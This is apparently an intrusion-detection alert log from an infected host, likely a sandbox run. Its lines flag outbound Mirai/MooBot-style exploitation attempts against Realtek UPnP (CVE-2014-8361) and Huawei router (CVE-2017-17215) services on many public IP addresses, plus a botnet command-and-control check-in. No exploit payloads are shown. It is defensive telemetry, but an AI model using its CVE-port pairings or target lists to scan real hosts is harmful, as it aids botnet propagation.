07/20/24-23:10:47.573053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39056	52869	192.168.2.15	104.87.188.192
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46840	37215	192.168.2.15	41.102.185.142
07/20/24-23:10:40.179277	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35850	52869	192.168.2.15	166.167.121.109
07/20/24-23:10:39.486941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42418	37215	192.168.2.15	216.125.26.34
07/20/24-23:10:46.597085	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	55384	2466	192.168.2.15	15.235.203.214
07/20/24-23:10:47.708016	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44240	52869	192.168.2.15	183.106.234.57
07/20/24-23:11:03.368250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40680	37215	192.168.2.15	197.54.207.135
07/20/24-23:11:03.402557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42750	37215	192.168.2.15	107.37.185.77
07/20/24-23:10:39.488246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48038	37215	192.168.2.15	216.15.194.11
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57220	37215	192.168.2.15	157.235.67.69
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49330	37215	192.168.2.15	164.17.49.215
07/20/24-23:10:49.450306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39042	37215	192.168.2.15	197.230.203.208
07/20/24-23:10:51.925000	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48620	52869	192.168.2.15	47.162.26.170
07/20/24-23:10:51.898652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50562	52869	192.168.2.15	70.33.189.136
07/20/24-23:10:51.950529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55568	52869	192.168.2.15	132.40.118.189
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43080	37215	192.168.2.15	133.236.123.161
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59122	37215	192.168.2.15	197.91.175.126
07/20/24-23:10:41.220792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38304	37215	192.168.2.15	146.208.62.250
07/20/24-23:10:51.955556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41882	52869	192.168.2.15	196.162.5.87
07/20/24-23:10:52.607833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41444	37215	192.168.2.15	52.64.4.0
07/20/24-23:10:39.488246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32936	37215	192.168.2.15	197.52.85.28
07/20/24-23:10:42.630809	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60498	52869	192.168.2.15	73.203.24.52
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38156	37215	192.168.2.15	197.251.233.95
07/20/24-23:10:42.630640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54806	52869	192.168.2.15	116.118.210.76
07/20/24-23:10:52.033728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59418	52869	192.168.2.15	74.83.241.55
07/20/24-23:10:51.950747	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55348	52869	192.168.2.15	119.6.246.136
07/20/24-23:10:40.642616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58132	37215	192.168.2.15	157.190.1.139
07/20/24-23:10:39.196095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34640	52869	192.168.2.15	211.42.169.91
07/20/24-23:10:47.883920	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36094	52869	192.168.2.15	151.138.171.183
07/20/24-23:10:51.937938	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39462	52869	192.168.2.15	61.1.165.207
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39050	37215	192.168.2.15	53.208.221.28
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34464	37215	192.168.2.15	197.7.42.86
07/20/24-23:10:45.545364	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58380	52869	192.168.2.15	198.78.111.199
07/20/24-23:10:41.228607	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37458	37215	192.168.2.15	41.209.146.132
07/20/24-23:10:39.202222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41184	52869	192.168.2.15	67.65.153.119
07/20/24-23:11:06.678578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41130	37215	192.168.2.15	197.64.57.221
07/20/24-23:10:51.995612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53512	52869	192.168.2.15	121.181.18.104
07/20/24-23:10:59.004938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57470	37215	192.168.2.15	41.202.58.82
07/20/24-23:10:56.011930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42534	37215	192.168.2.15	197.52.120.33
07/20/24-23:11:03.382352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35022	37215	192.168.2.15	41.254.104.122
07/20/24-23:10:59.004938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54808	37215	192.168.2.15	141.250.57.45
07/20/24-23:10:41.228259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40016	37215	192.168.2.15	157.193.70.196
07/20/24-23:10:43.810881	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57330	52869	192.168.2.15	152.198.105.114
07/20/24-23:10:51.955739	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57370	52869	192.168.2.15	129.146.5.212
07/20/24-23:10:59.035480	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45380	37215	192.168.2.15	157.72.189.25
07/20/24-23:10:51.957773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47926	52869	192.168.2.15	143.46.197.220
07/20/24-23:10:47.771235	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40886	52869	192.168.2.15	60.47.44.203
07/20/24-23:10:52.564314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58850	37215	192.168.2.15	41.46.129.99
07/20/24-23:10:41.689073	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46970	37215	192.168.2.15	216.129.222.152
07/20/24-23:10:42.254986	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50434	37215	192.168.2.15	64.75.22.24
07/20/24-23:10:52.004720	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37340	52869	192.168.2.15	131.63.7.210
07/20/24-23:10:46.611606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34226	52869	192.168.2.15	192.147.178.21
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39482	37215	192.168.2.15	197.30.229.13
07/20/24-23:10:51.984562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44820	52869	192.168.2.15	111.197.150.31
07/20/24-23:10:44.688579	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49946	52869	192.168.2.15	221.160.194.232
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43098	37215	192.168.2.15	157.69.206.184
07/20/24-23:10:46.795246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43948	37215	192.168.2.15	157.158.40.46
07/20/24-23:10:59.050850	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38294	37215	192.168.2.15	41.237.129.116
07/20/24-23:10:52.540929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42110	37215	192.168.2.15	213.253.71.106
07/20/24-23:10:41.228607	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53106	37215	192.168.2.15	109.223.47.42
07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33812	37215	192.168.2.15	150.120.29.98
07/20/24-23:10:56.002190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40040	37215	192.168.2.15	197.224.199.166
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52342	37215	192.168.2.15	197.148.191.90
07/20/24-23:11:06.662677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55708	37215	192.168.2.15	41.196.125.174
07/20/24-23:10:43.191370	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52400	52869	192.168.2.15	184.170.67.27
07/20/24-23:10:59.004938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56882	37215	192.168.2.15	41.216.61.141
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58682	37215	192.168.2.15	136.245.33.54
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42846	37215	192.168.2.15	122.62.66.140
07/20/24-23:10:39.433488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57118	37215	192.168.2.15	41.157.245.144
07/20/24-23:10:52.006529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44144	52869	192.168.2.15	116.188.33.5
07/20/24-23:10:39.474284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37790	37215	192.168.2.15	157.35.130.251
07/20/24-23:10:51.897021	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39128	52869	192.168.2.15	109.200.111.240
07/20/24-23:10:51.984562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46822	52869	192.168.2.15	76.120.98.58
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49752	37215	192.168.2.15	157.226.97.81
07/20/24-23:10:42.266162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58630	37215	192.168.2.15	197.194.143.112
07/20/24-23:10:40.649994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39514	37215	192.168.2.15	197.226.228.189
07/20/24-23:10:51.966763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51428	52869	192.168.2.15	221.160.194.232
07/20/24-23:10:45.231868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35292	52869	192.168.2.15	45.156.147.64
07/20/24-23:10:51.905303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52046	52869	192.168.2.15	25.16.163.132
07/20/24-23:10:44.016301	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59544	52869	192.168.2.15	144.40.158.145
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38824	37215	192.168.2.15	157.231.2.188
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54308	37215	192.168.2.15	113.218.100.147
07/20/24-23:10:43.244583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50864	52869	192.168.2.15	25.16.163.132
07/20/24-23:10:51.966763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35352	52869	192.168.2.15	217.150.234.15
07/20/24-23:10:41.227634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47358	37215	192.168.2.15	85.117.223.133
07/20/24-23:10:48.599765	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59432	52869	192.168.2.15	27.73.191.157
07/20/24-23:10:52.005273	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52650	52869	192.168.2.15	35.212.114.203
07/20/24-23:10:52.555606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52722	37215	192.168.2.15	190.165.188.75
07/20/24-23:10:52.571075	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53658	37215	192.168.2.15	41.51.80.154
07/20/24-23:11:03.396755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48434	37215	192.168.2.15	41.156.95.26
07/20/24-23:11:06.688603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43442	37215	192.168.2.15	157.88.167.209
07/20/24-23:10:51.902171	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53964	52869	192.168.2.15	112.72.53.27
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34006	37215	192.168.2.15	197.179.102.250
07/20/24-23:11:03.365384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43214	37215	192.168.2.15	157.243.245.128
07/20/24-23:10:51.967169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48142	52869	192.168.2.15	201.121.155.5
07/20/24-23:10:56.073192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59016	37215	192.168.2.15	197.18.202.210
07/20/24-23:10:39.430384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41284	37215	192.168.2.15	107.103.239.103
07/20/24-23:10:51.992632	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36096	52869	192.168.2.15	223.213.191.10
07/20/24-23:11:03.378926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60600	37215	192.168.2.15	41.222.232.149
07/20/24-23:10:49.402846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55794	37215	192.168.2.15	197.219.253.40
07/20/24-23:10:47.436610	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53568	52869	192.168.2.15	168.52.247.36
07/20/24-23:10:47.731399	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51258	52869	192.168.2.15	121.181.18.104
07/20/24-23:10:51.915099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38146	52869	192.168.2.15	126.29.154.162
07/20/24-23:11:03.310024	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59522	37215	192.168.2.15	157.151.76.227
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49906	37215	192.168.2.15	62.146.200.25
07/20/24-23:10:52.549474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58564	37215	192.168.2.15	139.242.72.156
07/20/24-23:10:58.986541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44442	37215	192.168.2.15	197.113.126.174
07/20/24-23:10:51.948284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32966	52869	192.168.2.15	34.2.61.34
07/20/24-23:10:46.735703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46766	37215	192.168.2.15	44.174.55.60
07/20/24-23:10:52.010300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49654	52869	192.168.2.15	42.250.239.223
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51938	37215	192.168.2.15	97.253.204.115
07/20/24-23:10:56.002190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46568	37215	192.168.2.15	197.218.146.50
07/20/24-23:10:49.430121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42608	37215	192.168.2.15	157.73.165.184
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55730	37215	192.168.2.15	197.92.173.148
07/20/24-23:10:41.241817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40196	37215	192.168.2.15	41.36.132.118
07/20/24-23:10:51.950746	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54044	52869	192.168.2.15	161.93.54.6
07/20/24-23:11:06.688603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52860	37215	192.168.2.15	197.21.128.144
07/20/24-23:10:40.649804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52910	37215	192.168.2.15	197.205.160.99
07/20/24-23:10:41.230071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46580	37215	192.168.2.15	197.185.91.102
07/20/24-23:10:51.950529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57804	52869	192.168.2.15	71.5.90.99
07/20/24-23:10:47.935486	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53352	52869	192.168.2.15	116.183.105.217
07/20/24-23:10:48.679763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60570	52869	192.168.2.15	222.95.36.229
07/20/24-23:10:45.247099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50042	52869	192.168.2.15	63.181.216.41
07/20/24-23:11:03.361094	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59526	37215	192.168.2.15	197.15.103.7
07/20/24-23:10:46.829468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58720	37215	192.168.2.15	150.96.143.155
07/20/24-23:10:51.944866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47052	52869	192.168.2.15	54.158.102.139
07/20/24-23:10:51.969868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36862	52869	192.168.2.15	197.242.200.156
07/20/24-23:10:49.395188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54138	37215	192.168.2.15	221.193.160.174
07/20/24-23:10:46.734527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55890	37215	192.168.2.15	23.23.118.153
07/20/24-23:10:51.992632	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38926	52869	192.168.2.15	86.101.91.169
07/20/24-23:10:56.039438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52930	37215	192.168.2.15	157.128.51.72
07/20/24-23:11:06.696229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55684	37215	192.168.2.15	157.152.233.155
07/20/24-23:10:52.062286	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43460	52869	192.168.2.15	71.216.86.69
07/20/24-23:10:43.830203	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58454	52869	192.168.2.15	178.155.139.110
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38628	37215	192.168.2.15	41.102.28.237
07/20/24-23:10:41.222356	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39194	37215	192.168.2.15	161.55.194.1
07/20/24-23:10:52.007232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39612	52869	192.168.2.15	74.125.66.82
07/20/24-23:10:46.817180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55198	37215	192.168.2.15	197.122.171.255
07/20/24-23:10:51.909417	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38412	52869	192.168.2.15	144.224.217.126
07/20/24-23:10:51.898994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40010	52869	192.168.2.15	59.72.27.90
07/20/24-23:11:03.306086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45090	37215	192.168.2.15	157.77.255.75
07/20/24-23:10:41.237255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53572	37215	192.168.2.15	104.230.225.200
07/20/24-23:11:03.394674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47660	37215	192.168.2.15	197.54.131.204
07/20/24-23:10:52.024960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52202	52869	192.168.2.15	83.91.222.86
07/20/24-23:10:47.679048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44138	52869	192.168.2.15	171.65.238.111
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39952	37215	192.168.2.15	44.223.237.79
07/20/24-23:10:43.793685	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41340	52869	192.168.2.15	90.25.2.138
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51824	37215	192.168.2.15	140.237.151.135
07/20/24-23:10:56.035713	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55218	37215	192.168.2.15	197.33.95.235
07/20/24-23:10:51.992277	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51436	52869	192.168.2.15	72.211.196.78
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34702	37215	192.168.2.15	197.10.159.159
07/20/24-23:10:55.995070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50176	37215	192.168.2.15	157.152.98.79
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55890	37215	192.168.2.15	213.170.158.66
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51086	37215	192.168.2.15	157.104.176.136
07/20/24-23:11:06.683012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46472	37215	192.168.2.15	41.203.9.22
07/20/24-23:10:59.028826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53266	37215	192.168.2.15	197.94.138.141
07/20/24-23:10:51.957773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36992	52869	192.168.2.15	42.146.219.162
07/20/24-23:11:06.687949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43908	37215	192.168.2.15	41.31.117.19
07/20/24-23:10:46.865461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41094	37215	192.168.2.15	41.20.107.59
07/20/24-23:11:03.381593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37798	37215	192.168.2.15	157.120.253.61
07/20/24-23:10:42.642008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43394	52869	192.168.2.15	187.182.235.57
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47030	37215	192.168.2.15	197.207.150.154
07/20/24-23:10:44.070152	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60640	52869	192.168.2.15	195.250.121.139
07/20/24-23:11:06.689939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56614	37215	192.168.2.15	157.189.66.214
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38992	37215	192.168.2.15	54.88.153.73
07/20/24-23:11:06.662677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47192	37215	192.168.2.15	146.152.172.252
07/20/24-23:10:39.493967	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39416	37215	192.168.2.15	168.198.240.255
07/20/24-23:10:42.642008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52644	52869	192.168.2.15	65.211.208.187
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45628	37215	192.168.2.15	197.240.6.148
07/20/24-23:10:43.627792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44342	52869	192.168.2.15	57.98.148.229
07/20/24-23:10:43.423928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36688	52869	192.168.2.15	77.201.115.63
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50258	37215	192.168.2.15	186.61.106.15
07/20/24-23:10:52.546429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54460	37215	192.168.2.15	157.100.48.167
